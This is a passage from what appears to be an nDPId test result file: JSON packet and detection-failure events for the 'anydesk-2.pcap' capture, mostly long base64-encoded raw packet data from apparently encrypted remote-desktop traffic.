QBnAlBcAqZ9EuqzUpVWhezcvHiI9fqp9cJitlcyNETJXFMTjV\/3DLqSCDRMKoiKKLDo0M10d4AJUkGnZXnL8s4H5t+zmRzoNY0rVOH+WNXYxZHS+HOGHq61QpcIMNfEveNKjWqGzDD8zEAagZjN3hF93Cz57w\/6beP1QSC8VaWZXm3uNn9ltJxdt4IG07Es3S1CR4L3k5eG3KEb1jXYWU8vxi7prUMjzpy+VrbWuK76bySdQv3wf4b1J1SvaIBPwiTh+jscgyqtgrY0UepDf3BhvV2YWmnWi6dOUzgRNZ7CDla3V5dF6A4BLoqZ2vQiSIZXPxcI0qjbmQthKhHZqrJan+aBwRgLqepTd7n4mJkmkdDkelVJ60BJ9pkVYgKal81QowHHJp3bAOkDPVTrOpW1MVeBSDAQ15xJL4rxBntjMLE4le6t3McJwAbYL0VHHvh6tM+b6RA3964N99VYH3nr8PQIjWABDg8fZmYprczRplcJWfG99cO38Wyb2lzcQRax8LeZUUoqO+tcge5cGEiYXCRF8VPqs1ApideUbvyr1CpmAY2YeW\/nG+ti0QRogiikWqzPgPylw9Vx8vGqrJem9AEln0adcv1Fk4Net0cUm7wxiuU+k7+fJU7Uwp4LRoCmWL8E097+qTl1L8AaucbFbBGsHNJlzkxqs6gNA9beXI3d\/0H13MZ62yr1GUUinIK1bz81imAYrZBV1yJdGiCW3r1tfW6Szz91xxVyBl26RHEybysmzqGiavYPsjo8NVMvrMvB+oo7sHteep2cS1aKJchnFmfqQK0clTgk3bGIS6ce6pkTHFjf5V3gnY4x3NJOL6E\/kWVIyOtw+VmSQDD1+phqfg8+dtVXHHpt2NwLe3EM7PqB7BkHFLhK3g8FwODjwczNV8\/xi2bfvbXgG\/tnG2gs+iIkIJTv33awVP1pe+gAlauWPW9X8vuWyJtrGk+84dtHiHUui2B56a\/HXqXezA7plSdoCUGbNhZycPYIbys5En8InwAOxM4T8JKqvQ2bbk3AdcSdfpK7lvCpcMQ1MVxqyuBrvEPCX5lcnITq+UEj3kj4KCEnQ0loijR7hTAWgGhEkCZVTORC0oid+7O84wrPqQiM52Mt697vDZd\/OP8F11qVRealOU8txI+dsc8rLcJMrVba0TFc3S+RqtSjzrB0qFYmo7jxLr7dOwSG4pwiP6EAkitSS7aEK2auFRiAtlpHQ0ua3Wpmb4LOMYcOWduOOXZC+nwLGPOAqXPsDJh9k33cdZsesoYmMlEkUO9HvWMYaT+LI3p0\/mDDFVG37C7nh6fSRsmIe3WPUjN2j2j\/vvpLREVRFDxTDgqkKkcMYPLROwj0hEb75rC3maTchRHJAAwe43pvF402iXyhSun0CcJpUb5ccu+7sYpTWMjKIz\/XMm1PF5pVYqiek44KdBerr0wu3HYLh2Zo1cRIPcpcZwY5db20G5an5Ti9oLDiiw1fVvbPcw\/b16IswOUj47Bsaj4TCvZ\/FyDzbKfDszdNAOlIrIkKU0bjdPnOI2oSKd41pRESkYW7wdUvnxZ9TAaOhqLb+Eu2KLQ3d9iQn419ZhTLbuzWiv37bEovC4fLOGwzn\/hMTewb\/ASNByOl0jtDELGnY2EyYtxDZgDuDuGVtAWILl8DedpiR3EvSZgzNViK0GCmvfk\/oNqhlQedlnMgINUkT225LkiDHTlT3dDr6E3jnypBoaPd87gG3eTSNt5zD9iLS\/7WQyrAgMWMw9folOPtbxj\/y\/hsgbG5Y5LxQyGXbzaNYmz8WPGlw0Z0v5KmxOlqs\/VgNNRvmQsTVyBwcvY0bx\/7d2vSc5e+ASw8E2659O9Wh3nmwVSE5UuSogM71F1dQas4yEzld1NojnliyxFB84+cUC0dIIF2eBc4+5maE0w12jBJJpzInXFqEzfYqNJQ5ovQxiSbDboTgh379nQI0QMw4RcxPtW0XhGj7+O9U1a\/3NN9lIgzbpSjBu5pQAyjCPnvykXOKstDh5GE6Rjasov1SXtpwaJnfsF\/sFe7oCiT9b+0WuhUf6D0Zei3oHmp2UU5MrcguPCO\/rxV+HCxpJRuBOz9KaoO4LmPZd7Q8iG\/lxZ04aac8FfpqvltU1eAFFkyPTA2NaYPdGepaI59ALVT8h7IIa4fWB8BLI23kLWoGS5Ls9fmgbUtOj9FIui64uMXg5Sv1MTQPPXxsq9MFNt3DNS40hLBz5dRWsaAryr7P++suMPK+ExOZBI\/em7BSZnfUr8wPo1UBs4WkD2PKqBr5pn4rXBn+flrwcb6UdaYwkyt7YSUkvC6t88F4cil0OENfdsHcTOvyqyuQDwjonVQti8NcWpzZPAjDVhHoA6FpJ078zRYrTBZl+6Hg7of5JwoXrY6U1t62\/+lqloqj9Fl81ztT\/OFmZ+M2eGqgAabsqZiltnkZNyUVyiPpMnCDA1yhbNwA91HXwDQAI9Q+ELqfVVkoQY5NdZkgbheBpYKC6gioxeKS3SiXZWlvpEwgBAmP\/Z4tYpum0Y7ya7m2cBoQVkn64tEyk1iyWCoRfV5JjAUR9JbB4+BNpS0yf4ArmP8z7LjDQzh3cX3FHzTuvZg1wV0OfX7twWrPyNXaQAvDLRNXUiQltapSBwxTvjvtCCVe6gF7Z3h+pK5sLpgjIHgkSUJi5Bzl\/QCo3CTtwbpWrOSNwTymmeYeVZCWqsvNaifmmCsHZxZdLbrAMTAcbAjLsxaXRuSZHohykLpap9bHSmKEaa4ElBxMBPglWW8fDW0Uqmt+V4r4fRJ57wCi15Ad+rUQnUOyCwICuF3SfXDqbZyciqTuVq3KGCQrkzQGq25CGErfDrAKIAGHGI5BjJHWZ1zDcSMdIo88dftAO7vsZKpH0qBwtvEpRTYZ7tQ\/izTOKm0hu8c012QcVv1a+SRm3kZpmmmP\/zThAG\/Rf0JoGMUZOzfG2nCLuBWjE5AYNP6IKyvPkO0vttyg6JBaJsPnFjGLdLVr7i0vxa95\/AaMyvX7KtMCVbj7fy71S5NK0Ui2fJevMIzPwGfQRmHQ2VOzV2o5xPW8s7R89VH\/Q17H5mfVfTYbWdRdVE06nmv0JBpsAVhkWS1f1U6ku7hEHOdYxOdfwM2mSz0uFPe7z6Or\/v\/SMAmDT47GA2AgFB4cwsCiohU7gfi0r4lsDZBvs1rLoFYR+ki4k4hCNcg8FIh2StPeQsJTOuKZr4Mr\/2+YQm53Y8AdG5qlHe+koETCdFK+2zpbA9BFnheLZsMTMuMdOGIHdmylqNHx627kZRtEZdpd+PK\/+nVxLVnzyDVL5W\/zPEmtmKioNbYd2K4r5YsxRcDUHR6u5dZiBsLEWPVMHXFEVZNIfDwiApiguxoP+A\/AYvZTPfWgzwftbXAFDo5oZhstISk9LnXs20yEIaeLeS+wQWPDrTCuGsLycaLwfYMBvuqIw7g3iKHgPPfsUeomnPC7BJhBPHEMwqZxL09+2vnNhZ6JsJuI\/24eCm3S+xeimmOQ3z2oL9O+FPLlUY2uoK\/wYcH1AeqEHoHOZxsru19lr\/2y\/lGQdaP8MV91IoIQqPk+PCgchOcXktXsryXNyRKhC\/tZtCVTmrqsglU9KHz2hmkSRJsWZGXzf9MRsRdg8De+c+SpMwBr+Z66morNpWWKGCdV58dyVoGnUIPKQDrjdgNajkf\/KZ5jjCjayJHTG5NUsiTQecMXQRKLrbws+AtPPjPovUqT6WNkbtP1yckyU74+4Y8AKnkXr8A2RoqrAF7htBMQfUhGFRu3Ia\/1Qh240SY1+YM57ngNZg6\/4XE4f6LRYSqbG+FrCvua7DvVdfIlKKy2tYj6qbNl7XGWEp601VRnV\/4pMUFb91ZYw71O8Q88HLeGyNqOb7MVIRr9x6uWe0umZNYENprOnMZXNQqXzn1LLi\/4Tlvj1lEd8Ye4tFgUzy4WvTi+qwLTQ8H\/Hx85mUa8pwu1BY7UvLhRF0xYMQOae4bP6d5+nUi6Uxw\/U3QRwjuNBPA4aTriswUc7PoSXu4YtEN34PUpJoKWiIhahkPrYeWi6AbTesfz8PVJui39W9i4MLoMSTiCUfmaffYoe5ijEX6EdKQEAm9C5cbmpsMTO7JHeWShhpoI6+P8uKaznMAmV+f+uZR9kgI34Gs+UhSiCdD49F7rdsOXR6QegXjkUdIz6zRQBGEgmedJGkKJ2Qb8exw329izb\/MvuTo9jKV+86cTyQKLgSXOJ91Tx1HimFe59F\/iGJFwMgy032mw++0cENnV8X+mo6UcZ0WmZfd2YCMg6XdicLWzpZqNUxmNCo+TYDqZMRZwWYkXK6xKTXT1\/+e5Sever\/gAtbYEthPq3pK7FPjpElvZlCBNSdaMdMWoalMgczqLfoa8R1eSILvvYBjEuqu7oLRDHRxoT3j5A2HzvCgPvYlNeq+3aIYADW24W8US4c1tYB5Pqvgg+zkkIlTJNzAfccn4TCrP5HxrBFyG8KuNjwU7nyVgOsndv+u3kfiP+iIiU7JZDSi09Ei9ndwYSw3aPLJkPViS9KpZdkizXniIAV9w6ezlmPJnre1gAcnaunjlNf8YqTOXc8koEgEU3GaKNMIJ7ab2LS4Uhyw6unir89ut8xAlCM\/fq2drC5zgLiySaKukgwIKlfveyzmFsYwfaW+KE0IrtVzu3BbH4\/jAKsJT3CwMpT9grZn+aaJUhr4ikNJyXU4wTH5sVd0d\/oXMAK27TEFl8FVPaY140tYZwk8BLn5wDn7QoZDus+AtJUeOOdhUhG\/vzV5zsghAU7IAE96E4ayZunFPrEB4N4xAmjUVbgBTUae5pQs6OPy9Km3fKqnUpp5bcuW8B4d0MrYpbGLvJsbRRrLchsrp8JuJrpUxarbd2PFH9inTRsPpuJp568W3Zg\/93cMvWZmKz7D3hTTZHjStoawt4Q\/xL+9uHlVhfTG9fgPkVdMhFV4A5qfhvITKXhc0o1GBu23u\/4ojr0X9ejlWFnf6FlEba8Ko+Jbz5Vx4eRGqN3VhjfHhkeMPKfJdiQnPZ+fH3yKDM\/4VAgljaE\/R4wXkLxXYmAReMpqOF+7pV4JiON9jL1bdPuuSa1EWzS9acaOhKcoHCNaata\/JBBUUIG2VzNQRSTfi0USlJCQuMAmFK7jD9UAQ25zMN+mB+xlBvlFM\/EBwQjjxX3qj6Tu1RfxX4T1g8hHzMDAEz3zhRzOAHDpcWBasRTGwbGaUvvgEoslj3uTvDDHbHaUkEov5pFJRL8+wC9xPra6dz1xtK5S5l0KCN6EumiiO30BB976q+wQNVxOboBs6K3p6P2g+JV9espt5QwjbXWVHhD2ZLTNrCd1rwwjMkve4hn0afycogT6bN6uGm4kMf4x37OBHXUmHS7ymHzeDXxeXZhAGItTfBmfhXmCl9yanX4cvRqC8KRE3251lVWbGqhBiiDCm3yRRe3I8VczGUizfsO68Bs\/ai0xqncw9RPFUhKR1pYJjw9V44wr+2rM1e3MPbbCbHdlnSjO1NUv\/hOZxyyKvmNj\/QCwCwpUAf2hfxJDH9RS9RChKIy36NPrbyRDIT0nGJXe\/X+\/K5YmUZWTqu+SPsmx4P4xpOvoSbI1iKX0YRqtkKyOfXW8xETHinVEwR3noNXIoaGT5DM4k7Nm3iXwk2pzQzQWIUnbyxILKRVo+XVDW8qj7Wz9qKvxepyYHcyuMEDxS6lcvnnjA+0fpXBCyBh9Hqw2xFKeICEMQVlu8AAMNoA0OYEycXIgoAl4NwslnxqDGsYYTRe\/CvFDHvZAWDAg69B7QUP\/iVsLWcBCd+yd78PniAOnUuY3NMb1bgVzbm88a1omCJlSxhVYkiCOj2MwwVgFkb0NRQrBTUS8H+kd2J5cLHYXTNzXHK2uoFpPnGNNkpzDqhYpiDnub8PZH3P+KR5ZZ5gV+aF1CerNU7HgcJMvX0RtTCby1c4PaMNDsHmZl+1\/GQtbUSj+BMnvFUT2GCntcSLqJP9fQEwMMYZmKGlfu4LiOQ3onEQLZymAOZnzYmeKR7tsMboNIfl362QJ5sdH+aBi7Te35UjZ4zCUgfhHra+sFDiM0wlHCMAdsTSUD+XBaDr1JxXBsxte5C1OiGM\/4lW\/HxGCbUDxTs+wnhsoLP5ilB\/ZVb1Q9h\/NciB\/Va0jbIvt3Nb15OyB8x6hR95Y0ygAEeT6NZOS+68bFNV9nBNFu2GYCVPZDp4HYHR+8gVWUprFRkvKlSyUZpX6bB\/bEl\/pPAUdhWSFZVz440ZOb3d8xRGdcz+0Odol3QwrZQVgIj+KVCCE+3rMMc7+0d7vDqU+k94ys1Dm0q7W5bejIEpOBOuiaQrRZjQumqfcHUD7w2K2jtheC1+0W9ZS2gshMo\/kIadWnEVlSY7wTZvVeze2cJ7pZJ8BGZcq58BnyCHNGikO8i0QsfiaUYeWvqdVpFAGOYrsjPM3F0rcL8tAU5W3TbJfQI6zjPBaetsqZA+6OWyzTQz5ShxGXxoYwXzEvIoZSVZLcQeZgANLqzjdUnBlFrvLr+MZ2lVll9Vqn7cQl2xZ25bHOkcCU1nooX9CUGuivaUUxO+2dy5cDd9ya65XmN2EHcsOdL\/gQXBz\/M+0xA1tbhvd+0E1qDeYgiQ5yoljH4dPBO02nI4mLW2vwBYKb\/olc4G+aqO+AlNdh7Y4h7JCR1WZ8rC\/JDHD7hDM3B1Crvcm98o3U4Q\/35kbD6d1SvAFlaQLCbfvHxUxpK4u3sUhM9YlzM5xWgdOMjCykQNK9971lK7jrU7FQl\/bhICw2fIOhHYlqrCdY5\/uFdvALsup+3MakZ0AlKXmYl4YFwo1d3wtpfyO6EWNFLKCfsOHvG4v7iT+uaXlRjfkpobRv1kSm9aeZWwFwCaeMB+KQi9ESXRmH9HgYgvsYmYhKdDPXhRpkqkhzxueEL18QAnU4oJjyK2IM25oCIbUXiqboCakXOPOtz0qnKfb6yMr6H9H8Dbb0AOMb1tc0OtJobB6rwmYN9\/0Q0l"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2128,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +03262{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2129,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":111792,"pkt_caplen":2185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2185,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhW5AAIAGAADAqAG7wKgBstOUG56PMl7IWcRH0VAYIBOExAAAFwMDCE5Z4hNO+msXBCjS6O39D5PcN4JZhKXqdny\/Lig5eiGM0TUUFcObr7NZ0l6advxn76yx3jTr0nl8hua8+zoGtxSMPFH+DMqoWlHWKydg1nQigCzRVtPIhcnQOaDhvWYYwE4hpYa\/ju5hyZBq5kk66rH96Rt+efjkFxo19+fj0r8i9kQXfiKL5kb+Wpauw8sdtT6VVF3rS5Z1ivF42DOGjfsCSmkQQYMmysKxe3uyS1bhkFh5nXySIZqC9t\/O296O2om2X86Htmyzr\/ZrpB3Pow\/rN1KB168wSyDpdyx8piBfOkb\/JsbfCcX6WikmawzpNLhMCnmwo9xgt5uoO9CAHGlnVpzzZUGqSqWnpIPNaoGpGeHQjCeQHFgnnaRSvSXgkIyP+ZWu4zPSog1uObtLM61DCG0TTHQur4TNthsjUwY6NsiKkIjDaZRLLf462j29T+6A8tJZJRO6c5KQMsYNkJ6rj4wZ4mhjgYg3iGfJ0gGe0LOW6hCvgh+Cg+p2WBZX+dfRYbOspOb3h+uD66xWZFK+De6Ia\/\/45A3w8EPSG6H0iPWvpopL0DatvFvA7Nm7OJ6sOsyzWVuoM\/1DXaHlo1gvz9hEoe1gdmBufr\/tANPNn7mZhZtYomTCplQOCnKSvADw\/VLzqpaZBwprATTQQ9WI5UYO3rFHtwstBY1y3PFOsjwkhf4c3syMN9NL2dbT6Czd9eHkWnQGUubZ7XttKDt4vbjNJzmN8Ls\/6UuDH4Xc8QyKvten0sZ4jbkZYv6YNmaAuHUK3ia16kzCPLKgCXOFDNCs8wS+STD76naqg4VQmWI8NQJMd0XlbnIH9AiT+GAcWJO8gvKcbiPGR0uNGn3JAbTNlDKIFLxcrhhpU\/owKePoKYBCqUYcNP4kkfe5ayUGEykJuD2\/QsdBNb83dpI0z+XuKG3hg+1pDkLk1yj91lnW8nw6Zah1ezle4yVHCaWIBpu737OWuPv6uSeA6pAb7tnHWFA5jAB\/rGjQYFA+cZ5YOODQiL26nX\/fFrFiOISQXQSL0lcdNatqukHLwCBE4oe2RBvdjBSfdhgEUC5KZe2ik6n+4DUZ1ob43X3EMVHX0h\/7Qc2pw\/YANXtkbyXhBWJBENpOkqG4MTVHq9RcNfIMELU5ZdQTnCMMstVEKdYnZeh\/\/ofZOTrLFFXp79lJ+vmgdiRBZmwxTZH9sHAfGBb7F\/EOglODcI\/2i87+NZld4e0tbXBDQALOGnv7G1D0SAFtl8htFTMiTwi9Wqjjmpgqmm6\/VHCyo6rErRRbUPhIv80fD\/Mxs8EHF+Onm6tyuhimiBB4F3Uf+tMgo9c8CV7njG2mdTUhzfds1fCMqMO441OXkoOp4kKYz5R+RBlps1d+YnWohUwMRUQFs07wQ2ibmyOAbCb5OACNRdZByhkduKR5pXsvtEetqYPfCOugVomW0R06A6j3bCs1WEOPCddKQgoWmf2QVR8mBRxj2SsUHGAT0WH0ZB1+hy5Zo5PDckYyyGiHLTLH5qO+KJcvl8fqPXtEjAyU6rqVWLmUQ3C1M0hoaOOZ71Su\/8Ns6NyS7nWfQq0SDyb+6ufsvUF8udv\/bMcIzZR5Hk6qMd3OM6ZzWR958Q4PBXSRF2ILv0bOHTgmb5WTRxu4sq89RU0GYjsY7eHZKs49BXP4X+1vyCpF3Kd6Tdbr2FGFdlIkmjrdJ6P+Cc0lhBwham4HXUsJId1d8u4ZSPl+Sj71uRCfOSRQ1CG80qz8jIWGvUrZZJ9JDFo7nbH6pZRPrw5FpjFi4e350aGg68usbWQWJvdu3t7z5ui+jjlpIzYnBzu2pV7PGmeak4CXhSkjbI4bxSbZNiZbQy2RgzryA4+DB1IAo7yngcPZsOHl8unqF2mlxMR+4Vy031u412Rn\/YvNf5Ux+nsWa4oearTKN1qXR5o0PJc8WHWAA8N33Si3Tp1C+cD8n3tAPzQ3btfnWB63d3k4cV1gJhbeQxOCt3GoXaUznoDz2Qkxsc+NNk6nsM4yaX27Tl7zZDXuUlQMH6Y7w8mhbWmEV6Dp3dAPTZSVhgi8j9HSFRYxZU8iQ1yLh5OmXBUgfvNCgbxcYlSJg\/05oBlFuFGq5BF5EAUnvYR7gW\/y3E3wvFY7CHNhjMVJswO3711s9IL1GShOCfR5lb1W2Pnm55mpLW8mIM5LgsZKnUiazHgy9c3\/7xWHe3ZE7wFpGsuM5orSVIp2ujMln0ASLT5\/hJJi095sTuN61dZbacwWa98iBMokWGwXVwegQ09YxhGbarC3YUyTTx7IBjVzy81RTGvZUrpI3dKTwCgGrSnWLREewsaXTZjMGY\/M0hO\/3FvZzGcitmWCjA8z90ED8+mVqohzhqryyyIQwpZFVg4jCi\/z4z2clH8p+IlAoN5PCc7XRmFIwVQ7\/z4ek7el+VXEAaw9e2OpIfIfXdtVSXnwuOcANJ46FGZvAElZSq2FP3rb0I7\/B8X1p1ln17HtHQ9XQF+hUVtVrqZRuAwmNR2jZ2cePJBI8EpTR0GN9Nc7eWrUlIJ4ZVnJdzDY6VAbguDs7mW6iiPbQfeYch9YwQ5oa1JJAkElMWLx8xzHOgYCHacjDM+HLaqh79M3ic\/b8v+Z+aJ7qFUPMOsHAJDeRVAiU9qyve8U7o0U\/b4hZoVUijLv0IQZVZC9bGkdFQ+bZdMamKzM3kg6e+k81zlqARMTQpZeGe9NXHZwXvErq2RnLkKXw4WXmrXkRQ27e4F\/90BlrnY+weFHrzVkgvdyGAMA8Il9\/LQtVw9V\/BNQkYGfmhIm4OMYaQ6EWA35keVusRohL0OonTGKD5ieGMGb6VjvlX3z4k9VAuTvfjVKwOX8lw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2129,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2151} +07816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2130,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":112484,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhXVAAIAGAADAqAG7wKgBstOUG56PMmcbWcRH0VAYIBOExAAAFwMDFXlZ4hNO+msXBUoBbLrOaO7uDL3ACLw4fxQSsfpuEYqLw86xLdzaQ7D9n0Zc36lb03kFtKtE3Mcm11ljbtTyvaEIpD9EJ6WWzBkwO\/SFEXjCjcUnpz6awecSGjicm3rcVkMY4z4HXR3xCPENCBlN+n5ruydcmGrr6lhSsVnBi7+EM8HBmhlWnPoTCLjqzXpqEgnIY+WEc6JCjQbrE9wDHLwmrceAF5HZtB+XOM\/ogVLJAB584\/ZCgxiYEziGgXKyuFQGBjgT6dxjBUZ48rL3nZFORS6myx8hmPmi2r1oIHlSkUjxDu9aJx\/96OyFZdqkNQvwZVKFnKwGM8jfVDUKpgpNfrGlY6ykl8+9G+sk\/cpGdc3dpdwiDLhGNt7su8G0tpTcmIKprYgAdfngHjtpb3xjAhnlxeYAxzDSj6h8iZ8EPk44SP5FqOW6We4DtxoFqQ1tyQe3+y3UknEOjaS3\/Q6gdErSqpO7XlPRJv5SCCc9y9WvgsjeTgPyB2tpA6lurWzH1O7KzvPnhaXOh0iA4S\/PQAieJkcd9XOi7nTB2hUi\/E0hyf3s4nbhZE0vxpoPXiYxAZxJ0yEPNuoqhi0FwdSa92fEDMH2UEGgCEKz0eI2RAdx\/jaJEDADeEw8WBjViKw9UMJbCnpNDd\/M5hhgVuo4+Clbazz6SnuNVaqdDDXEA8vd6zZqFPCI0e\/tytLWjqeaEBYlkbZmxlaSNke6dJaGEabfiRXrwyApfrWo1sJiwTMyoHKzQYxDyhdeRSRB3d4vvAkXhp5zlUwoHJDgB3cY8MAvy6hruXibMgPrUJySn5qnDN9nb+i\/iY8oD\/fa0Z4zoR0voeFy06nJXbHwLuBpd6qnNDaMXas8w8S2jPq3uhZp7gwmHNvcJId5l8xgCx\/IE066GfX6cW7e04lSKXenbDBupvvOh5Cie3LpP3ABrU7I74I9Rm0ftYXGKroiFeOQeLYQULeSsbJeBcs2IKrFfOgyCAk1TGX+GeywnTLjX3e723iDswy4Rt90oZpYkxLpj8IOofKODYB84ahQs\/U\/5Vl6ShsM5vPuHX5H3HiBH4sN+Qxx8MXRkt2A53hUdoMiD5Js2M9SGHaeR\/9x\/6Zi6jrOwygYLTj+1OoTSfqpF7UuOu5RyOkcbcWVoJBj1Ih2mbT1urBK8ngxmOqsCbY1mzVf4mVsOzbgZhPSaiKHlUK\/5LqTUMm2Xs8Gy0domuyxOZZcgvh64e+VWH\/UhYmO6tgdxCG0xO8n5boEn73WX0NBI1sp4aVe6CHN7WTN9NTpFPb0r\/5jsJAmv2V9jr6WlubHYFDc8GS1P8ladAO4oDwnmTj9YL+MEAMdqkOG0w3MLZQk+3acjfZA+\/\/qEk1LWGoY6OC4q6aBxC\/x1UczRXIMjym\/5LO\/c\/yj4ZvX+2nFXZDqT6gvJ9t4LLc\/8mOmQZBUUWq4rrcxqbEe479SE1gNMI8qL6FFftZlE5xJ5zD0QEu0dLL8+k64Q8F522IsWxjwJ\/2J6qaMoIHcLdJqbMe66lJOGt1AXJoDPNDb0sscSAV0DQx45T2vzMJQrGt5Lw5iGrg0zYaYoww+Ff1PsVaK8Yj51QCItTHbdHT6KJSbWNsf+Ex\/Gh1FPoX1GcrYLw38yUhL3mZs\/UMXmsoxOzeoyPf+cLcG9ulFzftwe8JM4ldEQAtAU5vY6gq8NZ3bPWnHYGsNj0IYTEKYbA1PYr7Y9Ulo9RFxB3L75W88SneYnENVQ+Ytjho+IJ+uPztqDc0LN+lsDNB2bMg7eCrcjyMQGZQrfhUhyhev9vzxYusndnR5xUSCdeHCQ3UlUInOjSHhl2w4iVKu38SkZTBJeLQGGI7uZL9lbGsaDOmVVTNl5eSoKQ3PaGs075IW\/jbGorAPyeTD2+L5ZCqlrGiPf8bmo8CGSLoLob9cCsiPH8D4ULjRayqa2MeAb6rhGwQXfuCaWNX31RX0zLF10d9wsf8evdYjbx8KaOYF4IVHL4K1MIbR7ohxgpUoPrhflczmKJpAia3msOvpwxKhJmi+DPZnqgy4q2MRGKh6BlKCbn4GFMobIjrpS5\/MCdHO89xun97sa2B8wCMtMx1ndldypxH2GBs5pcKY2eYo+3kCPC5LUNDQPWILwLbqD89CTnKGfA7Dx8V9map60sK2y2OSjzphAj92KMx7esNdjTLgDwNNp\/82+r6\/uFTDzYguAM1lCKvILsF0LveGWRNeHVJK5J4D+o+\/DYwSZPY\/QPngu1zFY7sN8nGitFEIPMlLNXDS5eesH7JPvAQl1muV\/qmVC\/kLVj2D8lGHu\/CLzIxrFfRqMY7w3wRBZbMp\/lqLakXWhSL38560IOu5BIp7SzqAez6DTBK71lqCuuReQnwEdJSuukwdByl7hj6rJ72rdqH7lpotwjyQXPdZCJKYhq1ttmGv5JKgIwfV9JBx7u\/jBkZDWUL2EB0CCMwYNLof1feoWNtRDnSAXxWs1wB3gsB\/PbG8FDW40S+49riATQrGN0CThqqRDFddfAiC3f21gS1nJoXfyD12TvToIRcnozCRSjY4WgX4RfCIIlp9ixqBIMt\/1OTG9Yir0YLCwmE4upjG0+XB4KcmefI5rTIKjp5g+MPJKv5rZHRE0afVsaUnmCtJo3caAFX9gu+X9g4QJs4XJm6OjuEgO\/sMw36E21iHvIZgad4jAM3V4\/DpAeqd9yeg1m9PIppOVzWILufGq9tvghlwAuo+a8S4uaOEjDS8bsC6l5fSycisY26iHqHLB3JwvfPPrN5ROCPWwFWnvvXvAWlm0zcUwVrK8D5vlDPO+AzWCLJUmdimW7nQpzKysCS17hMCsEavl9UMybg8qlzRCHTiAcfU9Yob6cBWBZ4qMfMPHKnVQlJlI+WByMTLflg8gGXOTzLPbKtX1R6MQTFhnlZQIl2\/2WPqosjtzSfai0H485pFwFGtbsJemTPdhfZYwH5BrxAfEg4RVk90+WEtNvo1Tn1PPHoR3hB2pxmg5xgAAlWt3E\/Ugb8YVy7\/5g4xLkGDkmXu\/go\/eqgtxkPSMAZdtcPZg8Zr1\/mCMCU34p9JQfbrJT+\/A8pIfIdjBlmVN4GcY4RznZkLAQqfrJuOxn5FuDz4Fw6zIerww6SIGrolH2ToTA8s7OI6Xyj2zjlNaukTr0YIFN5gF1jyeO2kR1m8yQ8sCBDc2CAPMjft2zt74YjWmnhpsndXYeMPSFEFPZ0TIsSB1bNeocr0k6mlWhn3gNvkPijvEFXVBoVoxiieLH3JDJHZh9p\/5dHwrWaXWqTrB3tnIHCu7clAGuTBnY8jf9cpjhVp3bMIV58txxKEFMRNsuvqGa\/ylhvJ8oWRfl8eKEBV5dQ7z9Br2Ds0jqnRTGrNuWcOj3hFOYZPDuTcV7qqGfhA23sh+Gapyc3Fmm6vzhuoKOuz3u5rWK12BO8xTc3Joz77gh3njDb8oMx++qfR6SqxalEBiWQ1aRqzQ8JLgQwrzEeZ5XwQstM9iCgrdD6McsG+1W2MYRknWGlr+M02oi+Sya0mLGcwjROq92BlFGu2wX7gn+ZjqW9\/tsRUeydbzTJS6gzqGid8ALP63Ek8HG6hgdUiIHYwtslv29wS+prS30PPFD\/ysplW7l15wTPJHj3V5K4gtbSR41sYtl9Xfi1ItOlNBIjBRYesByukP+FKZtZsZjCNnLakHpMgZDCEgrMHg3ukItbabB4PO7nvTRknR3y\/XO3z8Fe5UvhcTrHV2lGcJB1UhoTH3tiWxaxOSUEOYYQxb2VhzWJFqi\/WjcQSjWq9OEYmltLtjFV\/gXTKUsm1qx5gg9r7PIx5LEJqyb16gis4+JgGzOFOWiTIKiE5iUp5r2FEYW7FeGm5kGk8yt9LUqGpLJgfLWP7ZFBZIw+KXDHmXkQBIULstkKxsbHwlw4ufXH0bf6UVidSHPc+4x01+gZC+\/q2AIGWwVi7WdcrkChQkkaFUDBE2cvwEJd7kMm0tyUBgHxziCK+IIabLFCIhwYJ6929pqm\/aMdm+DF20ZPYXDxiCQm69fiQmrInCdfmLpvuYy5cHQ16BJY0kRa0KnLwGujytfuqW\/mVmWsvgG9\/bJg\/yqRnK01yYimSvRNFG8i0Yx3pBcX6C3ssLOjx\/6aknmCIcxbDGFI6Xs6SG4HLQ2kEqDlw0vLmQKVVTJyUUTist8Y3q7knFW3jqkE1uVQHn4YgNueYberNRTEZs9TrivalILGt\/qEeq2B4\/4ZzoD+psYzXPWAlC8OjsUckhHdditCsbMaQIXvQYfyOX\/AYqw24AdyaMveF3s01iDebUcK1evryIw5\/4W8uB4cGjCVWT2zBCtafB0DtcQJ6YNCmGzZbfgj2unHGFuvd865KXlimNX3vlcLboQGIcc86qBHAATiAGBtNtPc5B14AM4FElrRBe3kkZc63M8MnGnRI0XnRQf4qESPSjoc24damWSfEvyJTcy\/MYDCXg1o1rUdhbE5moD2L27SfMsNPIAedGb8gE5BtVlQKplmuyAv2QJRLK2CtLCUnyfv9wvXOwhgfGOIKknMxijwPQGKc+vtId6Ci7mtotToyKsrblkO3aRW9V00mSuL9VVmRDGGM0cVSl0L8wfNNITNE0kuyAlhc\/G23pbGMNVt1xb0elrLITt8BBAFUNyp4NOJ5aEG3nHcXE378bm4d5OC4aj1XxlE8l940mxZHZMgrXeqcFdPa+aPHBILeLKeBx3gM3Ju0ROnfMrqQRkXhmhYxRFzo8\/C4bPY+g3metDn0EUkA0+GduCXSqPTGMmufYMd1kcMNbDQZ1lYBjcgYP3DjTKL0wRPinhtI+yxtUIb+kgmbffoRlVo1HoyR3W1Cw7cWFsCTuPUXR6LJ8ahQx3t1phaFUXzw0FW0AvY4UBgo+JR5fuG9nPOdgYYAOo7WqcLhipyRYYA9KLvb+Yb78dnPUZ6zoly88rmUg3Xxbtz31j04UHDKz0R23dNACIytw2B0FbPzwP